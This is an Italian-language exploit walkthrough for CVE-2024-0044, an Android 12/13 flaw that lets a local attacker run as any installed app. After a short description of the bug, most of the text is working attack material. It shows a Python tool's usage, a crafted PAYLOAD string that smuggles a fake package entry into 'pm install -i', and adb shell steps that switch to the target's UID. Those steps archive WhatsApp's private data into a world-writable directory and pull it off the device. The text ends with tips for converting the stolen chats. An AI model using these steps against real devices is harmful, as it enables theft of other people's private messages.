
CVE-2024-0044: una vulnerabilità ad alta gravità del tipo "eseguire come qualsiasi applicazione" che riguarda le versioni 12 e 13 di Android
CVE-2024-0044, identificata nella funzione createSessionInternal del file PackageInstallerService.java, è una vulnerabilità ad alta severità che interessa le versioni Android 12 e 13. Questa vulnerabilità consente a un attaccante di effettuare un attacco "run-as any app", portando a un'escalation locale dei privilegi senza richiedere interazione da parte dell'utente. Il problema sorge a causa di una convalida impropria degli input all'interno della funzione createSessionInternal. Un attaccante può sfruttare questa vulnerabilità manipolando il processo di creazione della sessione, ottenendo potenzialmente accesso non autorizzato a dati sensibili ed eseguendo azioni non autorizzate sul dispositivo interessato.
Lo sfruttamento è stato scoperto da Meta security
Il proof of concept è stato riassunto e condiviso da Tiny hack
I dettagli sulla patch di sicurezza si trovano nel bollettino di sicurezza Android
python3 cve_2024_0044.py -h
##########################################################################################
###############S%%#####################################################%%S################
###############%++*S##################################################?++?################
################%++*S###############################################S*++?#################
#################%+++%#############################################S*++%##################
##################S*++%###########################################%+++%###################
###################S*++?#########SSS%%?????***?????%%%SS#########%++*S####################
#####################?++*##S%%?**+++++++++++++++++++++++**??%S##?++*S#####################
######################?++**+++++++++++++++++++++++++++++++++++**++*#######################
###################S%?*++++++++++++++++++++++++++++++++++++++++++++?%S####################
#################%?+++++++++++++++++++++++++++++++++++++++++++++++++++*%S#################
##############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++?S###############
############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S#############
##########S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S###########
#########%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##########
#######S*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S########
######%++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*++++++++++++++%#######
#####%++++++++++++++*######%+++++++++++++++++++++++++++++++++%######?++++++++++++++?######
####?+++++++++++++++*######S+++++++++++++++++++++++++++++++++%######?+++++++++++++++?#####
###%+++++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*+++++++++++++++++?####
##S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%###
##*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S##
#%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##
#*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S#
S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%#
usage: cve_2024_0044.py [-h] -P P -A A
CVE-2024-0044: run-as any app @Pl4int3xt
options:
-h, --help show this help message and exit
-P P package name (default: None)
-A A apk file path (default: None)
-P è usato per specificare il nome del pacchetto target su cui vuoi eseguire come
-A per specificare il percorso del file apk da caricare nel dispositivo
Esegui lo strumento
python3 cve_2024_0044.py -P com.whatsapp -A /home/pl4int3xt/Downloads/F-Droid.apk
Verrà generato un file payload.txt come questo
PAYLOAD="@null
victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success dopo l'ultimo comandopl4int3xt ~> adb shell
pixel:/ $ PAYLOAD="@null
> victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pixel:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success
pixel:/ $ mkdir /data/local/tmp/wa/
pixel:/ $ touch /data/local/tmp/wa/wa.tar
pixel:/ $ chmod -R 0777 /data/local/tmp/wa/
pixel:/ $ run-as victim
pixel:/data/user/0 $ tar -cf /data/local/tmp/wa/wa.tar com.whatsapp
Crea una directory temporanea: mkdir /data/local/tmp/wa/
Crea un segnaposto per un file tar: touch /data/local/tmp/wa/wa.tar
Imposta permessi estesi: chmod -R 0777 /data/local/tmp/wa/ per garantire che qualsiasi utente possa leggere, scrivere ed eseguire in questa directory.
Cambia contesto utente: run-as victim per ottenere gli stessi permessi dell'utente "victim".
Archivia i dati dell'applicazione target: tar -cf /data/local/tmp/wa/wa.tar com.whatsapp, creando un archivio tar della directory dei dati di WhatsApp.
adb pull /data/local/tmp/wa/wa.tar
Puoi estrarre i dati usando 7z o qualsiasi altro strumento
Puoi usare Whatsapp chat exporter per convertirli in HTML
Questo ti permette di ottenere i dati di whatsapp senza accesso root sul tuo dispositivo